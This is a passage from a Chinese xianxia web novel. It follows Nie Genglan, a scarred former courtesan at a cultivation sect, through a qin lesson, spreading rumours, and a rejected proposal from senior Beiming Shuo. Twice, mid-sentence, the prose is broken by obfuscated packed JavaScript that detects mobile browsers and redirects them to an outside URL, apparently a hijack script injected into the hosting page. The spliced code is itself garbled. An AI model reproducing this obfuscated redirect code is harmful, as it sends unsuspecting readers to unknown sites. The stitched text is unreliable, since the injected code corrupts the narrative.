汪淼淼低声惊呼:“这是……上古苍青神木制成的古琴,我没看错吧?!” 32.靡靡之音 君杳然淡声道:“不错,这把苍青古琴出自远古神祇瑶音神君的紫府秘境,神君飞升之际将苍青古琴留下以助益更多修士悟道飞升。近几百年师尊教出了不少优异琴修,没辜负神君留下的这把苍青古琴。” 弟子们恍然大悟,看向玄芜真君的目光又多了几丝崇拜和敬意。 玄芜真君拂开衣袍坐在苍青古琴前,神色庄而重之:“琴修者,以琴为心,音律为器,琴心合一,造诣方可更上一层楼。” “鉴于你们基础不同,今日便由杳然向你们介绍古琴的一些入门知识。” 在众人艳羡的目光下,君杳然起身走向案台,玄芜真君则给她让出位置。才刚入宗门没多久,玄芜真君就让新晋弟子以助教身份给弟子讲解知识,这说明君杳然天资是何等的卓越。 君杳然大致把宫商角微羽的知识以及古琴的构造讲述一遍,开始询问有谁会弹琴,可以上来展示一段,还说这是个能得玄芜真君指点的好机会。 课室内顿时骚动起来。 周炎道:“云斟,你不是也会抚琴么,上去试试呗,你那琴艺可是受过几大世家长辈称赞过的。” 聂云斟脸上浮现傲然之色。 周炎便狗腿地举手喊道:“聂云斟会弹——” 然而有一个人赶在他之前出声道:“我来。” 所有弟子都看了过去,惊讶地发现那人居然是聂更阑。就连许田田也惊讶地张大了嘴巴。 周炎当即出言嘲讽:“你一个小倌会抚琴?该不会是哗众取宠让真君高看你一眼吧?” 张涛紧跟着落井下石:“聂道友,你是靠不了美色,打算靠才艺博眼球了?” 君杳然柳眉倒竖,厉声呵斥:“休得无礼!” “大家既然已经来到灵音宗,前尘往事都应当抛却,无论之前是何种身份都不应再计较量度,成为炫耀或贬低他人的谈资。” 玄芜真君静静注视徒弟训人,面上无喜无怒,并未阻止徒弟。 这也代表这是默许了。 众人凛然,周炎张涛更是脊背发麻,讷讷地应了是,不敢再出言讥讽。 君杳然扬声道:“聂道友,请到这儿来。” 聂更阑在众人瞩目下缓步来到案台后,撩开衣摆坐下。 君杳然正要问他对古琴了解多少,但见聂更阑手势一打,就大约明白他真是个懂琴的,微微一笑退到玄芜真君身后。 少年玉面隐红妆,浓淡相宜雾若冰。 少年抚琴画面极美,只是脸上那道疤始终煞风景了些,众人便刻意不去看他的脸,只觉得这画面越看越顺眼。 就连周炎张涛等人都看得一愣一愣,失了言语。 众人但听琴声流淌,起初还觉得惊艳,只是到了后来,就连玄芜真君也渐渐蹙起眉头。 一曲终了时,聂更阑手势骤停,慢慢离开苍青古琴。 许田田率先带头鼓掌喝彩,底下稀稀拉拉也响起一小片掌声,都是些不懂琴音之人。 聂云斟却眼带鄙夷,率先出声,“靡靡之音绵软无力,毫无清朗乾坤正气,弟弟,你这曲子该不会是烟花巷柳流传出来的吧?” 此话一出,震惊满室。 周炎一下子为方法的的狼狈找到发泄口,狠狠道:“我就说这曲子听着令人玩物丧志根本不是名门正派之风,如今看来果真伤风败俗,下流可耻!” 君杳然虽有维护聂更阑之心,但事实摆在眼前,他确实弹了一首艳丽颓靡的琴曲,实在没办法替他说话,只能看向聂更阑。 聂更阑根本无可辩驳。 他打小待在绿苑,老鸨花钱命人请先生教他们琴棋书画读书识字,为的就是让他们走花魁才子的路子,抬高他们的身价。以求牢牢拴住那些个王公贵族的心。 而聂更阑几乎算是在绿苑长大,对淫词艳曲耳濡目染,因此这一弹,便越发暴露了他之前的身份,是切切实实从烟花之地出来的小倌。 聂更阑声音变得很低,“我只会这种曲风。” 满室再次哗然。 张涛狞笑道:“你终于承认自己是肮脏的……” “休得妄言。” 玄芜真君泠然出声:“琴音没有高低之分,你是何种心境,听在耳里的便是何种琴音。本君倒是以为,聂道友赤诚坦率,品质难能可贵。且聂道友的琴技确实高超,无可挑剔。” 许田田高兴地跳起来摇晃聂更阑的肩膀:“哇!就连玄芜真君也夸你的琴技高超,聂道友你真厉害!” 君杳然:“师父,聂道友的琴技娴熟,张弛有度,虽曲子不合场合但与相应的场景主题呼应,弟子认为聂道友的琴艺倒是与弟子不相上下的。” 玄芜真君轻轻颔首,“杳然,你不骄不躁,不卑不亢,有此等觉悟心境便提升了一层境界,很好。” 君杳然恭敬地行了一个弟子礼。 偌大的课室,所有人都屏住呼吸不敢再胡言乱语。 许田田压低声音兴奋道:“许道友,君大小姐居然承认她的琴艺与你并驾齐驱!啊啊啊,聂道友你也太出色了!” 他声音不高不低,很多人都听见了。然而这话得到君杳然和玄芜真君的认证,居然没人敢反驳。 本打算在众弟子面前大秀琴艺的聂云斟,此刻袖袍底下的手紧紧攥成了拳头。 玄芜真君淡声吩咐徒弟接下来教授众弟子古琴,接着一挥袖原地消失。 君杳然目送师尊离开,随后看向众人:“现在我便开始教大家古琴弹奏。” 说罢,她看向还在琴台后的聂更阑:“聂道友,你可愿意辅助我?” 聂更阑没想到君杳然丝毫不嫌弃自己,感到一丝受宠若惊,“当然,君道友不嫌弃的话,请多赐教。” “自然不会,”君杳然朝他微微颔首,又看向弟子当中的慕容证雪,露出个极为熟稔的淡笑,“证雪,你古琴造诣也颇高,也一块来吧。” 慕容证雪在下方旁观许久,闻言端方从容地缓缓走上台,对聂更阑君杳然微微拱手。方才他在台下看聂更阑弹琴,嘴角一直含着若有似无的笑意。 那是一种欣赏的神情。 紧跟着,两人在君杳然带领下给几百名弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13703559|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子教授讲解古琴的知识。 因为有两大世家的公子小姐坐镇,上有玄芜真君的赞誉,全程无人敢再造次。 只是,底下的聂云斟始终阴着一张脸,眼底郁色挥之不去。 …… 古琴课结束后,聂更阑被关注度比从前更甚。 无论走到哪,议论他的前缀都会多加了一句“他就是那个琴艺被玄芜真君称赞过的从凡界来的小倌”。 只是,很快流言蜚语又演变成,“那个凡界的小倌居然在玄芜真君面前弹奏靡靡之音。” “以色侍人的玩意儿,竟把主意打到真君头上了,我听说他还勾搭了好几个弟子,还包括那个朔师兄呢,估计是个见风使舵的,看谁是潜力股就对谁示好……” 不到几日,类似的风言风语已经传遍整个灵音宗。 就连宗主也被惊动,先是投去水镜询问了玄芜真君,得到答案后不放心,思来想去,又是一挥手,向玉髓峰那位发送了水镜联络请求。 约莫半个时辰过去,那边才终于有了回应,紧跟着,清鸿剑尊的人像在水镜中出现。 “何事?” 宗主瞥向他身后的寒池:“没想到你居然肯回我讯息,怎么样,这几十年泡寒池身体可有恢复一些?” “尚可,”清鸿剑尊,“有事直说。” 宗主轻咳一声,试探地问:“近几日宗门关于某个姓聂的弟子流言传得风风雨雨,你可曾听说过?” “谁?” 元千修轻叹一声:“我就知道。” “这样说罢,朔近日和那位聂小道友走得极近,哦不,应当说朔对这位弟子极为殷勤讨好,不过这弟子身上流言颇多,据说他来自凡界的勾栏之地……” 说到这,他看向清鸿剑尊的神情欲言又止。 “说。”男人淡淡吐出一个字。 宗主:“朔追求这位弟子的事传得沸沸扬扬,你不打算管管?毕竟,当年他可是调戏过不少弟子的小霸王,差点弄出过人命来,我是怕——” 宗主再次恰到好处地停顿了话头。 清鸿剑尊:“当年之事已经责罚过朔,你此次并非为了指责朔而来吧。” “还是你了解我啊,”宗主竖起大拇指,“我只是担心,恐怕仅凭聂更阑的身份,朔的父母不会答应,朔若是执意要与他结为道侣,恐怕到时宗门会闹出一场腥风血雨。” 清鸿剑尊这才明白宗主的来意。 说起来,近日朔谈起那位心上人的次数,确实有些多了。 宗主见清鸿明白自己的意思,便让他继续泡寒池,告辞撤去了水镜。 寒池中,清鸿剑尊面前的水镜消失,抬眸望向寒池前的魂玉柱。 “都听到了?” 龙吐着信子,从嗓子眼里发出轰隆隆的哼声,“元千修不就是害怕宗门再被我闹得天翻地覆么。” 清鸿剑尊:“倘若那弟子答应,你父母也不会允许。” 龙冷哼道:“聂师弟不是一般人,他不仅容颜绝世,也是个心地善良之人,我父王母后一定会喜欢他的!” 33.皮囊美丑 “容颜绝世?” “没错,人美心善!”龙被噎了一下,气恼哼哼地把少年在路边喂灌灌的事道了出来,“他那道疤早晚会消除,本殿下会娶到全流月大陆最美的美人!” 说到这,龙又嘲笑道:“话说,全天下人的皮囊在你眼里都无甚差别吧,剑尊大人,你还能分辨得出何为美何为丑吗?” 话一脱口,他才意识到自己说错了话,修长卷曲的龙尾骤然拍打几下魂玉柱,将脑袋缩回了回去,心中没来由泛起一阵胆战心惊。 清鸿剑尊眸子淡淡扫过去,看不出任何情绪,“知错了就休养生息,勤勉修炼。” 空气迅速沉寂,寒池里没有动静,水面的波纹再没有一丝荡漾。 龙嘶嘶嘶吐了吐信子,龙尾变长悄悄从魂玉柱上滑下来探入寒池,在水里勾了勾男人的袍角。 “喂?威武的剑尊大人?” 池水毫无动静。 龙尾又勾了勾,男人的衣襟自胸口滑落了一些。 “剑尊?你比从前更清冷出尘了。” “越发好看了。” “唔,真心话,你的身材也比从前……不是,一直都很好,现在更好了!” 水池里的人已经重新入定了,似乎根本没听到,衣袍边角任由龙尾摆弄,如同玉雕一般寂静无声。 龙窸窸窣窣收回龙尾,丧气地游下魂玉柱飞往大殿补眠去了。 别待会真惹得这尊大佛生气,他在玉髓峰的日子就不好过了。 *** 聂充实地过着在凡间未曾享有的日子,这些日子上学,放学,到琴室除尘,背书,打坐。 一切都很顺利,除了修炼。 和所有外门弟子一样,聂更阑引气入体依旧困难。事实上,这一届外门弟子当中,目前还尚未有人成功引气入体的。 为不受干扰,聂更阑每日早出晚归到竹林、后山的仙音崖打坐修炼。每次回到宿阁,都会收到同房的弟子甚至整个拓音阁弟子异样的目光注视。闲言碎语从未停止。有人讽刺他装,有人嗤之以鼻,说他不自量力,有人嘲笑他愚蠢不堪。 十六岁的少年如何能对这些言论无动于衷?只是他每次都装作充耳不闻并默默告诫自己,他们骂得越狠,自己就越不能停下脚步。 他面前只有一条路可走了。 然而,引气入体困难的情况持续十多日后,决心坚如磐石的少年也不禁开始动摇,对灵根资质带来的天赋差距越发有了深刻的认识。 就连引气入体都如此艰难,接下来的修仙路,会艰苦卓绝成何种程度? 而这些时日,“那个小倌在古琴课上搔首弄姿、大肆表现妄图勾引真君的”言论也开始尘嚣甚上。 聂更阑每隔两日到玄芜真君的琴室除尘,更在嚼舌根的弟子眼中落了口实。 “如若不是要勾引真君,他为何独独选了一门月俸少的差事?” “我看他目的已经很明确了,就是为了勾引玄芜真君呗,先是选了琴室除尘,之后又在古琴课上卖弄,不就是为了博得玄芜真君的关注?” 无论聂更阑走到何处,刺耳的声音与目光从未短缺。 对此聂更阑不在乎,只一心扑在修炼上。 他在正式成为宗门弟子那日已经抑制不住怒气和张涛斗殴,可如今在拓音阁他孤身一人,没法再如同那日一般任性。 唯有修炼。 “可恶!”许田田气冲冲把一味天星草扔进炉子,骂骂咧咧,“那些碎嘴的人真是吃饱没事干不知道好好修炼,就会说人闲话!” “聂道友,我要不禀报师尊去,让他给你主持公道!” 丹药课,四周都是炼丹炉滚水沸腾的咝咝声和聊天的吵嚷声。 许田田的骂声不绝于耳,四周并未有人听到。 聂更阑专注地看着册子上的炼丹步骤,将红晶叶扔进炉子,摇摇头。 “那,我们去禀告执事堂,让安师兄处理这事儿怎么样?” 聂更阑:“不必,这次他们受到惩戒,下次呢?只会引来他们越发疯狂的攻讦。在实力还未强大到能独自动手教训他们时,一切都是徒然。” “说得好。” 一道清越的声音从两人身后传来。 聂更阑回头,发现君杳然居然和许盼娣并肩站在一处。 君杳然:“聂道友,关于近日宗门里的流言蜚语,我之前禀报过师尊,可他只说弟子之间的纠纷亦是我们修炼的一部分,聂道友,不如我出面替你澄清?你古琴课上认真辅助我,课后除尘认真负责,他们却肆无忌惮造谣,实在污人耳朵。” 许盼娣:“我同意杳然的提议。” 聂更阑:“君道友,倘若你出面助我澄清,届时你亦会被拉入舆论风波之中,许道友,想必你上次也体会过了?” 许盼娣振振有词,“我才不怕他们说三道四呢!我问心无愧!” 聂更阑:“可我却会因为连累你们而感到愧疚,多谢你们的好意。” 君杳然注视少年的目光添了一丝敬佩和赞许,“聂道友,既然如此,我也就不坚持了,倘若你撑不下去,可随时找我帮忙。” 许盼娣:“我也是!” “多谢君道友、许道友。” 两位姑娘微微颔首后,双双回到自己的炼丹炉前。 许田田:“这两位道友可是比那些中伤诋毁的人都强多了。” 他又小声嘀咕:“不过,这君道友和许道友什么时候走到一起了?看上去感情不错啊。” …… 不知不觉已经过去半个月,自古琴课后,又慢慢增加了炼丹、御剑等课程。 这日丹药课结束,许田田同师尊青炎真君打过招呼,和聂更阑出了课室来到外面的平地,那里已经停了成千上百的仙鹤。 除了君杳然那几个已经筑基的会御剑外,所有人都乘坐了仙鹤,前往下一堂课的地点——天境峰。 到了天境峰,从仙鹤背上爬下来,许田田对聂更阑碎碎念说着自己知道的八卦,“知道吗,御剑课是独孤真君授课,听说他几百年不曾教授过弟子,今年不知为何忽然出关,我师尊说漏嘴提过一句,说他其实早就养好病了,却在今年忽然出来了……” 聂更阑听着许田田口中的八卦,跟随慕容证雪带领的队伍往御剑坪走去。 他是独孤真君的徒弟,自然而然担起了主人的角色。 修为到达筑基才能御剑。 这一届外门弟子毫无基础,而也有资质优良的内门弟子还未达到筑基的,都只能在御剑坪的另一边练习挥剑,以及刺、劈、点、挑、削、斩等基本套路招式。 而上一届花了五年终于筑基成功的外门弟子佼佼者,也夹杂在队伍里,终于 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北溟朔一听喜欢的人质疑自己的修为,梗着脖子骄傲宣布:“小瞧你师兄?告诉你吧,我修为早就已经是化神了好吧!” “化神?”聂更阑吃了一惊,“对不起,原来师兄这么厉害。” 不过是一句稀松平常的客套话,北溟朔却听得十分受用,嘴角的笑容咧开,怎么也藏不住,“那是,你师兄我自然厉害!” 北溟朔说着,上手打算拉聂更阑的胳膊打量。 聂更阑呼吸一滞,用力将他手甩开急速后退,“师兄,你做什么?” 北溟朔赶紧道:“你别误会,我只是、只是想检查你有没有受伤。” “我为何会受伤?” “自然是因为这里有危险!”北溟朔直肠子脱口而出,说完才意识到说漏了嘴,立即改口,“我的意思是,你挥剑会伤到自己,我担心你受伤。” 聂更阑没听出他话里奇怪的意思,拱手道:“多谢师兄关心,不过还请师兄不要随意与我触碰。” 这段时间,北溟朔逮着机会就会来看他,不是送他灵丹妙药,就是送他天材地宝,亦或是嘘寒问暖。许是感受到他并无恶意,聂更阑才会每次平和地与他说话。 但也从未接受过一次对方的好意。没人会无缘无故对自己好。 他明白北溟朔到底在图他的什么,因此从没松过口。 北溟朔锲而不舍,不能每天都亲自来,有时还会驱使仙鹤前来,有一次,那只灌灌居然还被差使过来给他送问候的口信,因为北溟朔给了它一大堆好吃的。 北溟朔势头猛,宗门里谣言也就越凶,有时候还会压过勾引玄芜真君的流言风头。 聂更阑从未理会,心想,只要拒绝的次数多了,这人自然会消停。 没想到北溟朔非但不停,这次居然还跟到了天境峰。 “对不起师弟,我只是担心你,”北溟朔紧张地问:“你没受伤,那、那,你有没有被人为难?” “你是说那些嚼舌根的弟子?” “呃,除了他们,你……还有没有被其他人为难?比如说真君之类的。” 聂更阑感到奇怪,为何忽然提到真君?想到北溟朔今日跟到天境峰,他心底涌起一股怪异,“师兄是说,独孤真君?” 34.八卦 北溟朔细细打量少年,见他愕然之余全然没有表现出奇异的神情,这才松了口气,“没什么,师弟,我就是怕你被欺负,随口一问。” “师兄,你想多了,”聂更阑不明所以,“若你说的是独孤真君,他只在半个时辰前出现过一次,不过看得出来,他对待弟子极为严厉。” “既然没事,那就是我想多了,”北溟朔顺势干笑一声,很快转移了话题,“师弟既然没事,我可否问你问题?” “师兄请说。” “我听说,师弟最近修炼似乎不太顺利?” 聂更阑眼睫眨了一下,眸子低垂,情绪明显低落了一些,“嗯,至今还未能成功引气入体。” “许是我还不够努力。” 北溟朔忽然激动起来,把聂更阑吓了一跳。 “不!不是你不够努力,而是你的灵根资质限制了你,这不是你的错!” 聂更阑眉头一松,“多谢师兄安慰。” 北溟朔从未听到少年以这副自然放松的姿态与自己说话,自动忽略了少年半边脸的丑陋疤痕,只觉得朦胧中有一个姿色绝伦的美人在言笑晏晏,心里那股热血冲到头顶,脱口而出,“聂师弟,我、我有话想对你说。” 面对忽然变得吞吞吐吐的北溟朔,聂更阑忽然生出不详的预感。 他似乎能隐约猜到,北溟朔要同他说什么。只是,他上次不是已经摊开了说了么?他还没死心? 北溟朔却道:“师弟,你是不是很想引气入体成功,甚至修为水涨船高,越高越好?” “是。”聂更阑干脆利落地回答。 北溟朔忽然将手伸过来,似乎想抓住少年的手,但想起他不喜与人触碰,于是又迅速缩回去,双手无所适从不知该往哪放,深呼吸一口气,郑重地开口。 “师弟,我喜欢你!请你与我结为道侣吧。” 聂更阑:“……” 果然是这件事事。 北溟朔瞥了四周一眼,压低声音道:“师弟,我是认真的,没有开玩笑。” “与我结为道侣,我家族的一切天材地宝都供你任意使用,甚至你要洗经伐髓,将那多余的灵根洗掉也不在话下,这些对我的家族来说易如反掌,不过是区区小事而已。” “只要你与我结为道路,莫说是引气入体,洗经伐髓,甚至之后修炼的每一次渡劫所需要的机缘亦或是天材地宝,家族都能替你寻来。” 北溟朔一边说一边紧张得不行,忐忑得手指想把袖袍抠出两个洞。想他此前是龙族风流倜傥的小太子,什么美人不都是投怀送抱主动贴上来,不曾想如今追一个小美人心情都七上八下,真是没出息。 聂更阑看着神情明显紧张的北溟朔,沉默不语, 他在藏书阁看过典籍,明白修为等级越往上,每次渡劫都会更艰难,轻则受伤,重则挨不过雷劫身死道消也是常有的事。因此,修为越高,每次渡劫所需要的灵器法宝越多越好,品阶越高越好,如此一来挨过雷劫的几率也能大大提高。 北溟朔的家族实力究竟大到了什么地步,能让他信誓旦旦许下这种承诺。 聂更阑修炼的这些日子已经深刻认识到灵根资质差距带来的限制,他不是没有懊丧过,怨怼过。可他更清楚,自己从未对北溟朔动过心。 他永远不可能喜欢一个男子。 但他却极度艳羡北溟朔。 就连处于流月大陆西南地域的聂家,也不能这么豪爽阔气的拿出这么多天材地宝来,北溟朔却亲口承诺,家族的天材地宝供他任意驱使…… 北溟朔见少年沉默不语,心中欢喜。他有在考虑,他一定是在考虑自己的提议! 良久,却见聂更阑轻声开口:“师兄,有一事我不明白,我脸上的疤痕恐怖如斯,令人生畏远避,师兄为何不嫌弃?” “咳,你说的这什么话,你那个同伴许田田,他们不是也没嫌弃吗?” 北溟朔看到聂更阑不说话,只是目光沉沉盯着自己,知道不说实话会惹美人生气,只能投降:“呃,我第一次遇见你就看出,你是个绝世美人,你这道疤若是治好,会比现在光彩夺目十倍不止。” “所以,师兄是因为我这张脸才想与我结为道侣的,对吗?” 北溟朔想回答不是。 他追过的美人加起来能绕上灵音宗一圈,知道他们最想听到什么话。 可是他似乎不想在这个少年面前说违心之言。 北溟朔咬了咬牙,答道:“是。” 但他又立即道:“可是我认为你心性坚韧善良,品性上佳,不光是脸……” “师兄,无需多言,”聂更阑唇角漾开一丝淡淡笑意,“我只是想问清楚而已,我从未喜欢过男子,将来也不会。” “多谢师兄与我说实话。” 这句话拒绝的意思再明显不过,北溟朔想装傻听不懂都难。 少年的意思是,我不喜欢你,所以不会同你结为道侣。 北溟朔眉眼瞬间耷拉下来,挫败感深深涌上心头。 怎会如此,他龙族小太子追求一个小美人居然失败了?! 而聂更阑感谢北溟朔对他说实话,不仅仅是随口一提。 尽管北溟朔看中的是他那张脸,可他与其他人都不一样,对他皮囊的渴望表现得极尽露骨,并且永远试图强迫他。 北溟朔能对他说实话,已经比那些人强太多。 聂更阑微微朝北溟朔点头致意,转过身绕开宽厚的石碑往御剑坪走去。 从始至终,他与北溟朔谈话的距离都有一剑之隔。 只是才从石碑后走出来,聂更阑迎面撞上一个出乎意料之外的人。 “慕容道友?” 慕容证雪露出个尴尬的神情,目光往石碑后面瞥了一眼,“聂道友,我担心你被朔师兄欺负,毕竟我听闻他整日缠着你,所以过来看一眼。” 只是没想到,居然让他听到了朔表白要与聂师弟结为道侣的震惊之言。 聂更阑顿时有些局促,“慕容道友,我没事,北溟师兄只是找我问几句话。没事的话,我就先去练剑了。” 慕容证雪看着他匆匆离开的背影,口里喃喃道:“朔师兄,原来姓北溟么?” …… 御剑课结束后,慕容证雪目送仙鹤将所有弟子送走。 “证雪。”虚空中忽然传来一道苍茫的声音。 下一刻,独孤真君倏然出现在御剑坪上。 慕容证雪上前行礼,“弟子见过师尊。” 独孤真君在御剑课一开始短暂地露过面,之后便回了峰头的殿内,把场子交给徒弟把控。 “证雪,你方才对着崖边发什么呆?修仙之人最忌讳道心波动,若不坚持笃定,恐怕道心消弭碎裂,会危及性命也未可知。” 慕容证雪急忙一揖:“弟子没有道心不稳,弟子只是今日听到一些事情,一时走神罢了。” 他不敢欺瞒师尊,如实把方才所见所闻一一禀报:“君杳然与弟子青梅竹马,她曾托我对聂师弟多加关照。弟子生怕聂师弟受欺负,没想到却听到了……” 慕容证雪不禁感到汗颜,他自小端方持正形象翩翩,如今却在这说着别人的轶闻八卦,生怕师尊觉得他与那些长舌妇没什么区别。 独孤真君却眯起眼睛,露出意味不明的神情,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13723751|143581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说,北溟朔要与那个姓聂的弟子结为道侣,但他没答应?” 慕容证雪这会儿不敢多言了,“是。” 没想到独孤真君却道:“你继续说。” 慕容证雪:“啊?” “……是,弟子遵命。” 于是他把这段时日北溟朔在宗门里对聂更阑大献殷勤之事详细讲述了一遍,“这些传言弟子也是听说而已,没成想今日撞见,居然是真的。” 只是,他还以为师尊严峻肃冷,没想到竟然对一个小小弟子的八卦也感兴趣。 独孤真君略一拂袖,将手背到身后,神情若有所思,“倒是很有意思。” “师尊,谁有意思?” 独孤真君扫了眼自己徒弟,“这位聂小道友倒是个很有意思的人。” 慕容证雪顿时一脸惊愕。 这可是他的师尊,冷面冷情的独孤真君啊,平日对徒弟严苛不苟言笑不说,慕容证雪就从未听到过师尊对谁明确表示过如此明显的赞赏之意的。 “师尊?”慕容证雪不确定地问。 独孤真君:“这聂小友虽然资质不佳,不过心性倒是不错,若有可能——” 若有什么可能,他却没再继续说。 只是到了第二日,天境峰独孤真君要收外门弟子聂更阑为随侍弟子的消息却不胫而走。 也不知是从何处传来的风声,总之,到了古琴课时,就连聂更阑许田田都已经听说了。 许田田大大的眼睛充满了疑惑:“?” “聂道友,你与独孤真君接触过?” 聂更阑:“并不曾。” “那就怪了,这种消息到底是怎么传出来的?”许田田摸了一把自己面前的琴,“难道又是周炎张涛那群人造谣?” 不知是不是错觉,许田田说这话时,慕容证雪似乎往这边看了一眼。 许田田吐了吐舌头,对聂更阑嘀咕:“咱们别心虚,反正这流言又不是我俩传出去的。” 聂更阑点头。 他对这些不是很在乎。 反倒是慕容证雪,神色尴尬不着痕迹地撇了撇唇角。 实际上,昨日师尊确实表明,也许、可能、大概,会将聂更阑收到天境峰当随侍弟子。只是不知怎的,还不到半日这消息就跟长了翅膀一样传得整个宗门都是了。 满室“魔音缭绕”的琴声里,周炎张涛那伙人时不时发出嗤笑声,以一种暧昧奇怪的眼神时不时扫向聂更阑。 不用想也知道,大概这帮人又在传什么“聂更阑居然用狐媚子手段勾引了独孤真君,一定是在御剑课上的事”之类的谣言。 许田田狠狠瞪一眼那几个坏笑的刺头,挪了挪身体挡住他们的视线,不让聂更阑看到。 琴室那头,聂云斟目光似一把利刃,仿佛扎穿了许田田的身体刺在聂更阑身上。 呵呵,他这个弟弟可真是有能耐啊。 …… 是夜,月明星稀,玄音峰。 硕大的弧月珠将房里照亮得如同白昼。 聂云斟在提笔写传讯符篆,“母亲亲启,斟儿近日已经拜师成为紫业真君亲传弟子,特意报来喜讯。对了,这则简讯万不能让父亲知晓,斟儿恐母亲担忧,特意告知一句,更阑弟弟也已经顺利通过灵音宗弟子大选,现如今已是一名外门弟子,他一切都好,请母亲勿要挂念。” 写完传讯符,聂云斟去了一趟师尊紫业真君的寝殿,紫业真君检查传讯符后,向符篆注入自己的气息,接着打开玄音峰禁制。 传讯符迅速出了玄音峰,一路往前,在紫业真君气息的护持下,顺利飘出灵音宗飞往流月大陆西南方。 35.骚扰 聂家。 聂重远捏着传讯符听完儿子的传音后,重重哼了一声,看向坐在对面的妻子,“这逆子!” 沈端枫面色平静,语气淡然听不出涟漪,“斟儿成为灵音宗紫业真君的亲传弟子,是件可喜可贺的事。” 聂重远:“哼!” 这之后,房里久久不曾有人说话。 沈端枫只是捻着手里的一串珠子,以求心平。 不知过了多久,聂重远终于再次开口。 “这次,就由你去看望斟儿,顺便给他送一些补给。” 闭眸的女人缓缓睁开眼睛。 聂重远不耐烦挥了挥手:“还有,倘若那个逆子不愿听话,以后就永远别踏进聂家的门!” 沈端枫捻珠子的动作遽然一顿,几息后,叹息道:“好,我知道了。” 聂重远从书房出去后,沈端枫沉重的表情缓和不少,即刻命人去库房打点灵器法宝等物,准备几日后启程前往灵音宗。 *** 无论外界如何非议,聂更阑没再理会。 引起入体不顺利,他强迫自己镇定,或许时机成熟引气入体也就水到渠成了。于是,他把一部分精力放到即将到来的灵音宗纪事课小考上。每日不到辰时,聂更阑在一阵鼾声中爬起来梳洗,到竹林里打坐修炼。待到天光稍亮时,他就借着光线背书,之后再去膳堂用饭,在上课之前赶到课室。 几天下来皆是如此。 同屋的张琥珀也就发现聂更阑每次都早出晚归不在屋内,好奇地问了他去何处。 魏禧:“这还用问吗,之前他不是在房里修炼,后来不在了,应该就是出去偷偷修炼了吧!” 聂更阑没说话,默认了,接着又道道:“再过十来日便是纪事课小考了。” 这段时日张琥珀魏禧并不刁难非议他,相反还会时不时问他一些字怎么写,如何念。正因如此,聂更阑此时便好心提醒了一句。 两人立刻垮了一张脸,为难地互换了一个眼神,“哎,虽说宗门有给外门弟子开设识字课,但是这才不到一个月,我们字都没认全呢,这小考我看还是别挣扎了吧。” 魏禧一拍手:“哦!原来你早出晚归果然是背书去了呗!聂道友,你可真勤奋啊!” 聂更阑点点头,没多说什么,径自去洗漱了。 本以为这件事就这样过去了,谁知没两天,宗门里就传出,那个新来的外门弟子聂更阑每日早出晚归修炼,为纪事课小考做准备。 消息不胫而走,最后就连内门弟子也都知道了。 “你说他一个四灵根干嘛还这么拼命,是真蠢还是脑子有问题?四灵根再怎么拼命也不可能修出什么花样来吧。” “真是瞎子点灯白费蜡,都不知道他是蠢还是可怜!” “道友们,换个角度想,他难道真的是去修炼吗?贪黑起早的,莫不是到竹林里和男人幽会去了?” “道友,你莫非真的道出了真相?!” “最近话本看多了,嘿嘿。” 许田田对此义愤填膺,悄悄甩了张灵火符过去,那个意淫聂更阑与男子幽会的弟子衣袍立即被火舌包裹,当即吓得弹起来,“着火啦,我的衣服,好烫,救我救我!” 聂更阑以口型对许田田道:“干得漂亮。” 许田田骄傲地扬起下巴,顺便偷偷朝那边混乱的现场比了个鄙夷的手势。 然而这件事似乎并未结束。 过了一日,不知怎的就有流言传出,说聂更阑十分渴望拿到胡长老许诺的那个小考奖励,所以才这么拼命背书。 很快,聂更阑就又听到小道消息,说张涛也很想要那个火炎珠。 聂更阑并未放在心里,依旧早出晚归。 这日酉时左右,落日西斜,稀松射入几丝光线进入竹林。 聂更阑打坐结束后,拿出灵音宗纪事辑开始背。他这些日子将时间计算得很好,等到他背书结束再去膳堂就能清静地吃一顿饭。饭后回到宿阁,弟子们也大都已经各自回屋,他也就不用承受异样的目光听着一路的流言蜚语回到所住的屋子。 只是没料到,这在傍晚时分冷清的竹林里来了不速之客。 “哟,这不是聂小倌吗?这么努力刻苦啊,在背书呢?” 聂更阑蠕动的嘴唇骤停,眼神迅速冷了下来。 这声音他熟悉,每日上课都能听到,是那一群诋毁他的人当中最积极的。 聂更阑没回头,二话不说收起书本往竹林更深处走,不打算理会这人。 张涛无非是想干扰他,让他无法静心背书。最好,能激怒他再打上一架,弄出动静让执事堂做出惩处事最好不过。 聂更阑不会给他这个机会。 岂料张涛就和那癞皮狗似的,聂更阑走一步,他走一步,面上阴邪的笑再明显不过。 聂更阑倏然停在原地,身后,张涛果然也停了下来。 聂更阑手已经悄然伸进储物袋,打算寻一张合适的符篆甩过去,他记得,似乎前两日许田田给过他几张能令人两眼一抹黑的符篆,还有一种碰到就浑身发痒的灵药粉末。据说也是从红晶树妖的叶子提取了某种成分制成的。 不过聂更阑还未来得及用上,就听到头顶突兀地响起一阵“笃笃”声,紧跟着是熟悉的嗓音传来:“这人都这么明目张胆刁难你了,要不要我替你收拾他?看着也太窝囊啦!” 聂更阑一抬头,发现居然是那日在路边饿得走不动路的小猪。小猪扒拉在竹子上,快把一根上好的清竹压得弯断了腰,此景属实有些不忍直视。 “小猪,你先下来。” 小猪于是哼哼唧唧着从竹子上滑下来,鼻孔朝天冲着张涛喷了个鼻息。 